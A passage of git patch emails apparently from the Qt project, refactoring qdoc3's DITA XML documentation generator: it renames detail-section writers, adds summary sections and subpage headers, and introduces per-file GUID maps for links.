b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1443,7 +1443,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, void DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* marker) { - QList
    sections; QList
    ::ConstIterator s; const ClassNode* cn = 0; @@ -1487,7 +1486,50 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(cn); xmlWriter().writeEndElement(); // - writeDetailSections(cn, marker, true, QString("Detailed Description")); + xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeAttribute("spectitle",title); + Text brief = cn->doc().briefText(); + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, cn, marker); + xmlWriter().writeEndElement(); //

    + } + generateIncludes(cn, marker); + generateStatus(cn, marker); + generateInherits(cn, marker); + generateInheritedBy(cn, marker); + generateThreadSafeness(cn, marker); + generateSince(cn, marker); + + xmlWriter().writeStartElement("ul"); + + QString membersLink = generateListOfAllMemberFile(inner, marker); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + + QList
    summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + + writeDetailedDescription(cn, marker, false, QString("Detailed Description")); + // zzz writeSections() gores here. // not included: or @@ -1496,9 +1538,10 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark // not included: // not included: - sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { + QList
    detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { if ((*s).name == "Member Function Documentation") { writeFunctions((*s),cn,marker); } @@ -1631,7 +1674,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker ++s; } - writeDetailSections(fake, marker, false, QString("Detailed Description")); + writeDetailedDescription(fake, marker, false, QString("Detailed Description")); if (cn) generateQmlText(cn->doc().body(), cn, marker, fake->name()); @@ -1660,10 +1703,10 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (!fake->doc().isEmpty()) { xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { - writeDetailSections(fake, marker, false, QString("Detailed Description")); + writeDetailedDescription(fake, marker, false, QString("Detailed Description")); } else - writeDetailSections(fake, marker, false, QString()); + writeDetailedDescription(fake, marker, false, QString()); generateAlsoList(fake, marker); if (!fake->groupMembers().isEmpty()) { @@ -1832,10 +1875,15 @@ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, } /*! - Outputs an XML file header depending on which kind of DITA XML - file is being generated. + Writes an XML file header to the current XML stream. This + depends on which kind of DITA XML file is being generated, + which is determined by the \a node type and subtype and the + \a subpage flag. If the \subpage flag is true, a \c{} + header is written, regardless of the type of \a node. */ -void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) +void DitaXmlGenerator::generateHeader(const Node* node, + const QString& name, + bool subpage) { if (!node) return; @@ -1848,16 +1896,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) QString version; QString outputclass; - if (node->type() == Node::Class) { - mainElement = "cxxClass"; - nameElement = "apiName"; - dtd = "dtd/cxxClass.dtd"; - version = "0.6.0"; - doctype = ""; - } - else if (node->type() == Node::Fake) { + if (node->type() == Node::Fake || subpage) { mainElement = "topic"; nameElement = "title"; dtd = "dtd/topic.dtd"; @@ -1895,6 +1934,15 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) outputclass = "page"; } } + else if (node->type() == Node::Class) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + } xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); @@ -1949,7 +1997,7 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) ++noLinks; xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); - xmlWriter().writeEndElement(); // shortdesc + xmlWriter().writeEndElement(); // --noLinks; } } @@ -2186,7 +2234,7 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, QString fileName = fileBase(inner) + "-members." + fileExtension(inner); beginSubPage(inner->location(), fileName); QString title = "List of All Members for " + inner->name(); - generateHeader(inner, title); + generateHeader(inner, title, true); xmlWriter().writeStartElement("body"); xmlWriter().writeStartElement("section"); if (!title.isEmpty()) { @@ -2235,7 +2283,7 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, fileName = fileBase(inner) + "-obsolete." + fileExtension(inner); } beginSubPage(inner->location(), fileName); - generateHeader(inner, title); + generateHeader(inner, title, true); xmlWriter().writeStartElement("body"); xmlWriter().writeStartElement("section"); if (!title.isEmpty()) { @@ -4531,7 +4579,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writeLocation(fn); xmlWriter().writeEndElement(); // - writeDetailSections(fn, marker, true, QString()); + writeDetailedDescription(fn, marker, true, QString()); // generateAlsoList(inner, marker); // not included: or @@ -4687,7 +4735,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writeLocation(en); xmlWriter().writeEndElement(); // - writeDetailSections(en, marker, true, QString()); + writeDetailedDescription(en, marker, true, QString()); // not included: or @@ -4747,7 +4795,7 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, writeLocation(tn); xmlWriter().writeEndElement(); // - writeDetailSections(tn, marker, true, QString()); + writeDetailedDescription(tn, marker, true, QString()); // not included: or @@ -4858,7 +4906,7 @@ void DitaXmlGenerator::writeProperties(const Section& s, writeLocation(pn); xmlWriter().writeEndElement(); // - writeDetailSections(pn, marker, true, QString()); + writeDetailedDescription(pn, marker, true, QString()); // not included: or @@ -4940,7 +4988,7 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writeLocation(vn); xmlWriter().writeEndElement(); // - writeDetailSections(vn, marker, true, QString()); + writeDetailedDescription(vn, marker, true, QString()); // not included: or @@ -5034,7 +5082,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, writeLocation(fn); xmlWriter().writeEndElement(); // - writeDetailSections(fn, marker, true, QString()); + writeDetailedDescription(fn, marker, true, QString()); // not included: or @@ -5110,21 +5158,19 @@ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() } /*! - Writes the \e {Detailed Description} section(s) for \a node - to the current XML stream using the code \a marker. if the - \a apiDesc flag is true, then the first section of the - sequence of sections written will be an \c {apiDesc>} - element with a \e {spectitle} attribute of \e {Detailed - Description}. Otherwise, the first section will be a - \c {
    } element with a \c {} element of - \e {Detailed Description}. This function calls the - Generator::generateBody() function to write the XML for - the section list. + Writes the \e {Detailed Description} section(s) for \a node to the + current XML stream using the code \a marker. if the \a apiDesc flag + is true, then the first section of the sequence of sections written + will be an \c {apiDesc>} element with a \e {spectitle} attribute of + \e {Detailed Description}. Otherwise, the first section will be a + \c {<section>} element with a \c {<title>} element of \e {Detailed + Description}. This function calls the Generator::generateBody() + function to write the XML for the section list. */ -void DitaXmlGenerator::writeDetailSections(const Node* node, - CodeMarker* marker, - bool apiDesc, - const QString& title) +void DitaXmlGenerator::writeDetailedDescription(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title) { if (!node->doc().isEmpty()) { inDetailedDescription = true; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6a52441..5ec4a6c 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -150,7 +150,9 @@ class DitaXmlGenerator : public PageGenerator void generateBreadCrumbs(const QString& title, const Node* node, CodeMarker* marker); - void generateHeader(const Node* node, const QString& name); + void generateHeader(const Node* node, + const QString& name, + bool subpage = false); void generateTitle(const QString& title, const Text& subTitle, SubTitleSize subTitleSize, @@ -261,10 +263,10 @@ class DitaXmlGenerator : public PageGenerator virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); QXmlStreamWriter& xmlWriter(); - void writeDetailSections(const Node* node, - CodeMarker* marker, - bool apiDesc, - const QString& title); + void writeDetailedDescription(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title); void addLink(const QString& href, const QStringRef& text); private: -- cgit v0.12 From 40479a41ce6e51f32c4120f290cbe36b3d7424b0 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 22 Sep 2010 12:57:25 +0200 Subject: qdoc: Added the summary sections to the cxxClass. --- tools/qdoc3/ditaxmlgenerator.cpp | 71 ++++++++++++++++++++++++++++++++++------ 1 file changed, 61 insertions(+), 10 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3efd98b..02be9fd 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1525,12 +1525,56 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeEndElement(); // </ul> xmlWriter().writeEndElement(); // </apiDesc> + bool needOtherSection = false; QList<Section> summarySections; summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); - + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + } + ++s; + } + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + } + writeDetailedDescription(cn, marker, false, QString("Detailed Description")); - // zzz writeSections() gores here. // not included: or xmlWriter().writeEndElement(); // @@ -3022,7 +3066,7 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } /*! - Writes the "inherited from" lists to the current XML stream. + Writes the "inherited from" list to the current XML stream. */ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, const Node* relative, @@ -3031,19 +3075,26 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, if (section.inherited.isEmpty()) return; xmlWriter().writeStartElement("ul"); - QList >::ConstIterator p = section.inherited.begin(); + QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { xmlWriter().writeStartElement("li"); xmlWriter().writeAttribute("outputclass","fn"); - QString text = (*p).second + " "; + QString text; + text.setNum((*p).second); + text += " "; if ((*p).second == 1) text += section.singularMember; else text += section.pluralMember; - text += " inherited from "; - text += protectEnc(marker->plainFullName((*p).first, relative)) + ""; + text += " inherited from "; + xmlWriter().writeCharacters(text); + xmlWriter().writeStartElement("xref"); + text = fileName((*p).first) + "#"; + text += DitaXmlGenerator::cleanRef(section.name.toLower()); + xmlWriter().writeAttribute("href",text); + text = protectEnc(marker->plainFullName((*p).first, relative)); xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); // ++p; } xmlWriter().writeEndElement(); // @@ -5177,14 +5228,14 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, if (apiDesc) { inApiDesc = true; xmlWriter().writeStartElement(APIDESC); - xmlWriter().writeAttribute("id",node->guid()); + // zzz xmlWriter().writeAttribute("id",node->guid()); if (!title.isEmpty()) xmlWriter().writeAttribute("spectitle",title); } else { inSection = true; xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("id",node->guid()); + // zzz xmlWriter().writeAttribute("id",node->guid()); if (!title.isEmpty()) { xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(title); -- cgit v0.12 From 6cff9860c5390cceee4973fce20798939fae088b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 22 Sep 2010 13:42:15 +0200 Subject: qdoc: Removed some unused parameters. --- tools/qdoc3/ditaxmlgenerator.cpp | 19 +++++++------------ tools/qdoc3/ditaxmlgenerator.h | 22 ++++++---------------- 2 files changed, 13 insertions(+), 28 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 02be9fd..921fdbc 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1590,17 +1590,17 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeFunctions((*s),cn,marker); } else if ((*s).name == "Member Type Documentation") { - writeEnumerations((*s),cn,marker); - writeTypedefs((*s),cn,marker); + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); } else if ((*s).name == "Member Variable Documentation") { - writeDataMembers((*s),cn,marker); + writeDataMembers((*s),marker); } else if ((*s).name == "Property Documentation") { - writeProperties((*s),cn,marker); + writeProperties((*s),marker); } else if ((*s).name == "Macro Documentation") { - writeMacros((*s),cn,marker); + writeMacros((*s),marker); } ++s; } @@ -4626,7 +4626,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, xmlWriter().writeCharacters(marker->plainFullName(rfn)); xmlWriter().writeEndElement(); // } - writeParameters(fn,marker); + writeParameters(fn); writeLocation(fn); xmlWriter().writeEndElement(); // @@ -4650,7 +4650,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, /*! This function writes the element. */ -void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marker) +void DitaXmlGenerator::writeParameters(const FunctionNode* fn) { const QList& parameters = fn->parameters(); if (!parameters.isEmpty()) { @@ -4688,7 +4688,6 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke This function writes the enum types. */ void DitaXmlGenerator::writeEnumerations(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4804,7 +4803,6 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, This function writes the output for the \typedef commands. */ void DitaXmlGenerator::writeTypedefs(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4865,7 +4863,6 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, This is the Q_PROPERTYs. */ void DitaXmlGenerator::writeProperties(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4975,7 +4972,6 @@ void DitaXmlGenerator::writeProperties(const Section& s, This function outputs the nodes resulting from \variable commands. */ void DitaXmlGenerator::writeDataMembers(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -5057,7 +5053,6 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, This function writes a \macro as a . */ void DitaXmlGenerator::writeMacros(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 5ec4a6c..dd0d56e 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -121,22 +121,12 @@ class DitaXmlGenerator : public PageGenerator void writeFunctions(const Section& s, const ClassNode* cn, CodeMarker* marker); - void writeParameters(const FunctionNode* fn, CodeMarker* marker); - void writeEnumerations(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeTypedefs(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeDataMembers(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeProperties(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeMacros(const Section& s, - const ClassNode* cn, - CodeMarker* marker); + void writeParameters(const FunctionNode* fn); + void writeEnumerations(const Section& s, CodeMarker* marker); + void writeTypedefs(const Section& s, CodeMarker* marker); + void writeDataMembers(const Section& s, CodeMarker* marker); + void writeProperties(const Section& s, CodeMarker* marker); + void writeMacros(const Section& s, CodeMarker* marker); void writePropertyParameter(const QString& tag, const NodeList& nlist); private: -- cgit v0.12 From 4ea898fe70fd7a77a95c87668807f8af8342780b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 24 Sep 2010 15:30:29 +0200 Subject: qdoc: Corrected many GUIDs. Still more to do here. --- tools/qdoc3/atom.cpp | 1 + tools/qdoc3/atom.h | 1 + tools/qdoc3/ditaxmlgenerator.cpp | 215 +++++++++++++++++++++++++++++---------- tools/qdoc3/ditaxmlgenerator.h | 11 +- tools/qdoc3/pagegenerator.cpp | 17 +++- tools/qdoc3/text.cpp | 4 +- 6 files changed, 189 insertions(+), 60 deletions(-) diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp index 6f1602e..d18c3c4 100644 --- a/tools/qdoc3/atom.cpp +++ b/tools/qdoc3/atom.cpp @@ -190,6 +190,7 @@ static const struct { { "FormattingLeft", Atom::FormattingLeft }, { "FormattingRight", Atom::FormattingRight }, { "GeneratedList", Atom::GeneratedList }, + { "GuidLink", Atom::GuidLink}, { "Image", Atom::Image }, { "ImageText", Atom::ImageText }, { "InlineImage", Atom::InlineImage }, diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 70fbae9..13df07b 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -83,6 +83,7 @@ class Atom FormattingLeft, FormattingRight, GeneratedList, + GuidLink, Image, ImageText, InlineImage, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 921fdbc..16215cd 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -395,6 +395,7 @@ DitaXmlGenerator::DitaXmlGenerator() noLinks(0), tableColumnCount(0) { + // nothing yet. } /*! @@ -402,7 +403,11 @@ DitaXmlGenerator::DitaXmlGenerator() */ DitaXmlGenerator::~DitaXmlGenerator() { - // nothing yet. + GuidMaps::iterator i = guidMaps.begin(); + while (i != guidMaps.end()) { + delete i.value(); + ++i; + } } /*! @@ -526,7 +531,7 @@ QString DitaXmlGenerator::format() */ QString DitaXmlGenerator::writeGuidAttribute(QString text) { - QString guid = lookupGuid(text); + QString guid = lookupGuid(outFileName(),text); xmlWriter().writeAttribute("id",guid); return guid; } @@ -559,6 +564,41 @@ QString DitaXmlGenerator::lookupGuid(QString text) } /*! + First, look up the GUID map for \a fileName. If there isn't + a GUID map for \a fileName, create one and insert it into + the map of GUID maps. Then look up \a text in that GUID map. + If \a text is found, return the associated GUID. Otherwise, + insert \a text into the GUID map with a new GUID, and return + the new GUID. + */ +QString DitaXmlGenerator::lookupGuid(const QString& fileName, const QString& text) +{ + GuidMap* gm = lookupGuidMap(fileName); + GuidMap::const_iterator i = gm->find(text); + if (i != gm->end()) + return i.value(); + QString guid = QUuid::createUuid().toString(); + gm->insert(text,guid); + return guid; +} + +/*! + Looks up \a fileName in the map of GUID maps. If it finds + \a fileName, it returns a pointer to the associated GUID + map. Otherwise it creates a new GUID map and inserts it + into the map of GUID maps with \a fileName as its key. + */ +GuidMap* DitaXmlGenerator::lookupGuidMap(const QString& fileName) +{ + GuidMaps::const_iterator i = guidMaps.find(fileName); + if (i != guidMaps.end()) + return i.value(); + GuidMap* gm = new GuidMap; + guidMaps.insert(fileName,gm); + return gm; +} + +/*! This is where the DITA XML files are written. \note The file generation is done in the base class, PageGenerator::generateTree(). @@ -688,10 +728,13 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // sse writeStartElement() above break; case Atom::Code: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); - writeText(trimmedTrailing(atom->string()), marker, relative); - xmlWriter().writeEndElement(); // + { + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); + QString chars = trimmedTrailing(atom->string()); + writeText(chars, marker, relative); + xmlWriter().writeEndElement(); // + } break; case Atom::Qml: xmlWriter().writeStartElement("pre"); @@ -1060,14 +1103,27 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, const Node *node = 0; QString myLink = getLink(atom, relative, marker, &node); if (myLink.isEmpty()) { - relative->doc().location().warning(tr("Cannot link to '%1' in %2") + relative->doc().location().warning(tr("Can't link to '%1' in %2") .arg(atom->string()) .arg(marker->plainFullName(relative))); } +#if 0 + else + qDebug() << "MYLINK:" << myLink << outFileName();; +#endif beginLink(myLink, node, relative, marker); skipAhead = 1; } break; + case Atom::GuidLink: + { +#if 0 + qDebug() << "GUID LINK:" << atom->string() << outFileName(); +#endif + beginLink(atom->string(), 0, relative, marker); + skipAhead = 1; + } + break; case Atom::LinkNode: { const Node *node = CodeMarker::nodeForString(atom->string()); @@ -3089,12 +3145,14 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, text += " inherited from "; xmlWriter().writeCharacters(text); xmlWriter().writeStartElement("xref"); + // zzz text = fileName((*p).first) + "#"; text += DitaXmlGenerator::cleanRef(section.name.toLower()); xmlWriter().writeAttribute("href",text); text = protectEnc(marker->plainFullName((*p).first, relative)); xmlWriter().writeCharacters(text); xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // ++p; } xmlWriter().writeEndElement(); // @@ -3406,8 +3464,10 @@ QString DitaXmlGenerator::registerRef(const QString& ref) } else if (prevRef == ref) break; +#if 0 else qDebug() << "PREVREF:" << prevRef; +#endif clean += "x"; } return clean; @@ -3492,28 +3552,10 @@ QString DitaXmlGenerator::fileBase(const Node* node) const return result; } -/*! - Constructs a file name appropriate for the \a node - and returns the file name. If the \a node is not a - fake node, or if it is a fake node but it is neither - an external page node nor an image node, call the - PageGenerator::fileName() function. - */ -QString DitaXmlGenerator::fileName(const Node* node) -{ - if (node->type() == Node::Fake) { - if (static_cast(node)->subType() == Node::ExternalPage) - return node->name(); - if (static_cast(node)->subType() == Node::Image) - return node->name(); - } - return PageGenerator::fileName(node); -} - QString DitaXmlGenerator::refForNode(const Node* node) { const FunctionNode* func; - const TypedefNode* typedeffe; + const TypedefNode* tdn; QString ref; switch (node->type()) { @@ -3525,9 +3567,9 @@ QString DitaXmlGenerator::refForNode(const Node* node) ref = node->name() + "-enum"; break; case Node::Typedef: - typedeffe = static_cast(node); - if (typedeffe->associatedEnum()) { - return refForNode(typedeffe->associatedEnum()); + tdn = static_cast(node); + if (tdn->associatedEnum()) { + return refForNode(tdn->associatedEnum()); } else { ref = node->name() + "-typedef"; @@ -3566,12 +3608,77 @@ QString DitaXmlGenerator::refForNode(const Node* node) return registerRef(ref); } -QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) +QString DitaXmlGenerator::guidForNode(const Node* node) { - QString link; - QString fn; QString ref; + switch (node->type()) { + case Node::Namespace: + case Node::Class: + default: + break; + case Node::Enum: + return node->guid(); + case Node::Typedef: + { + const TypedefNode* tdn = static_cast(node); + if (tdn->associatedEnum()) + return guidForNode(tdn->associatedEnum()); + } + return node->guid(); + case Node::Function: + { + const FunctionNode* fn = static_cast(node); + if (fn->associatedProperty()) { + return guidForNode(fn->associatedProperty()); + } + else { + ref = fn->name(); + if (fn->overloadNumber() != 1) { + ref += "-" + QString::number(fn->overloadNumber()); +#if 0 + qDebug() << "guidForNode() overloaded function:" << ref; +#endif + } + } + } + case Node::Fake: + if (node->subType() != Node::QmlPropertyGroup) + break; + case Node::QmlProperty: + case Node::Property: + return node->guid(); + case Node::QmlSignal: + return node->guid(); + case Node::QmlMethod: + return node->guid(); + case Node::Variable: + return node->guid(); + case Node::Target: + return node->guid(); + } + return registerRef(ref); +} + +/*! + Constructs a file name appropriate for the \a node and returns + it. If the \a node is not a fake node, or if it is a fake node but + it is neither an external page node nor an image node, call the + PageGenerator::fileName() function. + */ +QString DitaXmlGenerator::fileName(const Node* node) +{ + if (node->type() == Node::Fake) { + if (static_cast(node)->subType() == Node::ExternalPage) + return node->name(); + if (static_cast(node)->subType() == Node::Image) + return node->name(); + } + return PageGenerator::fileName(node); +} + +QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) +{ if (node == 0 || node == relative) return QString(); if (!node->url().isEmpty()) @@ -3581,21 +3688,18 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) if (node->access() == Node::Private) return QString(); - fn = fileName(node); - link += fn + "#" + node->guid(); - return link; + QString fn = fileName(node); + QString link = fn; -#if 0 if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { - ref = refForNode(node); - if (relative && fn == fileName(relative) && ref == refForNode(relative)) + QString guid = guidForNode(node); + if (relative && fn == fileName(relative) && guid == guidForNode(relative)) { return QString(); - + } link += "#"; - link += ref; + link += guid; } return link; -#endif } QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) @@ -3983,26 +4087,33 @@ QString DitaXmlGenerator::getLink(const Atom* atom, Atom* targetAtom = 0; QString first = path.first().trimmed(); - if (first.isEmpty()) + if (first.isEmpty()) { *node = relative; - else if (first.endsWith(".html")) + } + else if (first.endsWith(".html")) { *node = myTree->root()->findNode(first, Node::Fake); + } else { *node = marker->resolveTarget(first, myTree, relative); - if (!*node) + if (!*node) { *node = myTree->findFakeNodeByTitle(first); - if (!*node) + } + if (!*node) { *node = myTree->findUnambiguousTarget(first, targetAtom); + } } if (*node) { - if (!(*node)->url().isEmpty()) + if (!(*node)->url().isEmpty()) { return (*node)->url(); - else + } + else { path.removeFirst(); + } } - else + else { *node = relative; + } if (*node && (*node)->status() == Node::Obsolete) { if (relative && (relative->parent() != *node) && @@ -4075,13 +4186,13 @@ void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker) Atom *targetAtom = 0; if (fakeNode && node->type() == Node::Class) { QString oldName(node->name()); - targetAtom = myTree->findTarget(oldName.replace("3", ""), - fakeNode); + targetAtom = myTree->findTarget(oldName.replace("3",""),fakeNode); } if (targetAtom) { - text << Atom(Atom::Link, linkForNode(fakeNode, node) + "#" + - refForAtom(targetAtom, fakeNode)); + QString fn = fileName(fakeNode); + QString guid = lookupGuid(fn,refForAtom(targetAtom,fakeNode)); + text << Atom(Atom::GuidLink, fn + "#" + guid); } else text << Atom(Atom::Link, "Porting to Qt 4"); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index dd0d56e..f781290 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -39,10 +39,6 @@ ** ****************************************************************************/ -/* - ditaxmlgenerator.h -*/ - #ifndef DITAXMLGENERATOR_H #define DITAXMLGENERATOR_H @@ -61,7 +57,8 @@ typedef QMap ParentMaps; typedef QMap NodeMap; typedef QMap NewClassMaps; -class HelpProjectWriter; +typedef QMap GuidMap; +typedef QMap GuidMaps; class DitaXmlGenerator : public PageGenerator { @@ -107,6 +104,7 @@ class DitaXmlGenerator : public PageGenerator virtual void generateFakeNode(const FakeNode* fake, CodeMarker* marker); virtual QString fileExtension(const Node* node) const; virtual QString refForNode(const Node* node); + virtual QString guidForNode(const Node* node); virtual QString linkForNode(const Node* node, const Node* relative); virtual QString refForAtom(Atom* atom, const Node* node); @@ -250,6 +248,8 @@ class DitaXmlGenerator : public PageGenerator QString writeGuidAttribute(QString text); void writeGuidAttribute(Node* node); QString lookupGuid(QString text); + QString lookupGuid(const QString& fileName, const QString& text); + GuidMap* lookupGuidMap(const QString& fileName); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); QXmlStreamWriter& xmlWriter(); @@ -262,6 +262,7 @@ class DitaXmlGenerator : public PageGenerator private: QMap refMap; QMap name2guidMap; + GuidMaps guidMaps; int codeIndent; bool inLink; bool inObsoleteLink; diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 39ee98b..f4c471c 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -257,7 +257,12 @@ QString PageGenerator::fileBase(const Node *node) const return res; } -QString PageGenerator::fileName(const Node *node) const +/*! + If the \a node has a URL, return the URL as the file name. + Otherwise, construct the file name from the fileBase() and + the fileExtension(), and return the constructed name. + */ +QString PageGenerator::fileName(const Node* node) const { if (!node->url().isEmpty()) return node->url(); @@ -268,9 +273,12 @@ QString PageGenerator::fileName(const Node *node) const return name; } +/*! + Return the current output file name. + */ QString PageGenerator::outFileName() { - return QFileInfo(static_cast(out().device())->fileName()).fileName(); + return 